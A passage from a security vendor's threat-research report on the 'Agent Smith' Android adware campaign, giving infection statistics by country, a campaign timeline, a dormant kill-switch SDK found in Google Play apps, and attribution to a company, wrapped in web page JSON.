\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
CountryTotal DevicesTotal Infection Event CountAvg. App Swap Per DeviceAvg. Droppers Per DeviceAvg. Months Device Remained Infected
India15,230,1232,017,873,2492.61.72.1
Bangladesh2,539,913208,026,8862.41.52.2
Pakistan1,686,21694,296,9072.41.62
Indonesia572,02567,685,98321.52.2
Nepal469,27444,961,3412.41.62.4
US302,85219,327,0931.71.41.8
Nigeria287,16721,278,4982.41.32.3
Hungary282,8267,856,0641.71.31.7
Saudi Arabia245,69818,616,2592.31.61.9
Myanmar234,3389,729,5721.51.41.9
\n

 

\n

 

\n

“Agent Smith” Timeline

\n

Early signs of activity from the actor behind “Agent Smith” can be traced back to January 2016. We classify this 40-month period into three main stages.

\n

January 2016 – May 2018:

\n

In this stage, “Agent Smith” hackers started to try out 9Apps as a distribution channel for their adware. During this period, malware samples display some typical adware characteristics such as unnecessary permission requirements and pop-up windows. During this time, “Agent Smith” hackers eventually built up a vast number of app presence on 9Apps, which later would serve as publication channels for evolved droppers. However, samples don’t have key capabilities to infect innocent apps on victim devices yet.

\n

 

\n

May 2018 to April 2019:

\n

This is the actual mature stage of “Agent Smith” campaign. From early 2018 prior to May, “Agent Smith” hackers started to experiment with Bundle Feng Shui, the key tool which gives “Agent Smith” malware family capabilities to infect innocent apps on the device. A series of pilot runs were executed. After some major upgrade, by mid-June, the “Agent Smith” campaign reached its peak. Its dropper family finished integration with Bundle Feng Shui and campaign C&C infrastructure was shifted to AWS cloud. The Campaign achieved exponential growth from June to December 2018 with the infection number staying stable into early 2019.

\n

 

\n

Post-April 2019:

\n

Starting from early 2019, the new infection rate of “Agent Smith” dropped significantly. From early April, hackers started to build a new major update to the “Agent Smith” campaign under the name “leechsdk”.

\n

 

\n

\"\"

\n

Figure 26: “Agent Smith” Campaign timeline

\n

 

\n

Greater “Agent Smith” Campaign Discovery

\n

Orchestrating a successful 9Apps centric malware campaign, the actor behind “Agent Smith” established solid strategies in malware proliferation and payload delivery. The actor also built solid backend infrastructures which can handle high volume concurrent requests.

\n

During our extended threat hunting, we uncovered 11 apps on the Google Play store that contain a malicious yet dormant SDK related to “Agent Smith” actor. This discovery indicates the actor’s ambition in expanding operations into Google Play store with previous success experience from the main “Agent Smith” campaign.

\n

Instead of embedding core malware payload in droppers, the actor switches to a more low-key SDK approach. In the dangerous module lies a kill switch logic which looks for the keyword “infect”. Once the keyword is present, the SDK will switch from innocent ads server to malicious payload delivery ones. Hence, we name this new spin-off campaign as Jaguar Kill Switch. The below code snippet is currently isolated and dormant. In the future, it will be invoked by malicious SDK during banner ads display.

\n

 

\n

\"\"

\n

Figure 26: the kill switch code snippet

\n

 

\n

Evidence implies that the “Agent Smith” actor is currently laying the groundwork, increasing its Google Play penetration rate and waiting for the right timing to kick off attacks. By the time of this publication, two Jaguar Kill Switch infected app has reached 10 million downloads while others are still in their early stages.

\n

Check Point Research reported these dangerous apps to Google upon discovery. Currently, all bespoke apps have been taken down from the Google Play store.

\n

 

\n

\"\"

\n

Figure 28: Jaguar Kill Switch infected GP apps

\n

 

\n

Peek Into the Actor

\n

Based on all of the above, we connected “Agent Smith” campaign to a Chinese internet company located in Guangzhou whose front end legitimate business is to help Chinese Android developers publish and promote their apps on overseas platforms.

\n

Various recruitment posts on Chinese job sites and Chinese National Enterprise Credit Information Public System (NECIPS) data led us one step further, linking the actor to its legal entity name. Interestingly, we uncovered several expired job posting of Android reverse engineer from the actor’s front business published in 2018 and 2019. It seems that the people who filled these roles are key to “Agent Smith’s success, yet not quite necessary for actor’s legitimate side of business.

\n

With a better understanding of the “Agent Smith” actor than we had in the initial phase of campaign hunting, we examined the list of target innocent apps once again and discovered the actor’s unusual practices in choosing targets. It seems, “Agent Smith” prey list does not only have popular yet Janus vulnerable apps to ensure high proliferation, but also contain competitor apps of actor’s legitimate business arm to suppress competition.

\n

 

\n

Conclusion

\n

Although the actor behind “Agent Smith” decided to make their illegally acquired profit by exploiting the use of ads, another actor could easily take a more intrusive and harmful route. With the ability to hide its icon from the launcher and hijack popular existing apps on a device, there are endless possibilities to harm a user’s digital even physical security. Today this malware shows unwanted ads, tomorrow it could steal sensitive information; from private messages to banking credentials and much more.

\n

The “Agent Smith” campaign serves as a sharp reminder that effort from system developers alone is not enough to build a secure Android eco-system. It requires attention and action from system developers, device manufacturers, app developers, and users, so that vulnerability fixes are patched, distributed, adopted and installed in time.

\n

It is also another example for why organizations and consumers alike should have an advanced mobile threat prevention solution installed on the device to protect themselves against the possibility of unknowingly installing malicious apps, even from trusted app stores.

\n

For more information about how to keep your device protected, check out Sand Blast Mobile.

\n

 

\n","status":"PUBLISHED","fileName":null,"link":"http://research.checkpoint.com/agent-smith-a-new-species-of-mobile-malware/","tags":[],"score":0.00963763240724802,"topStoryDate":null}],"mapData":null,"topMalwareFamilies":[{"id":"863","name":"Emotet","count":1,"percentage":13.0},{"id":"183664","name":"XMRig","count":1,"percentage":7.000000000000001},{"id":"18463","name":"Trickbot","count":1,"percentage":7.000000000000001},{"id":"253266","name":"AgentTesla","count":1,"percentage":6.0},{"id":"20648","name":"Lokibot","count":1,"percentage":4.0}]};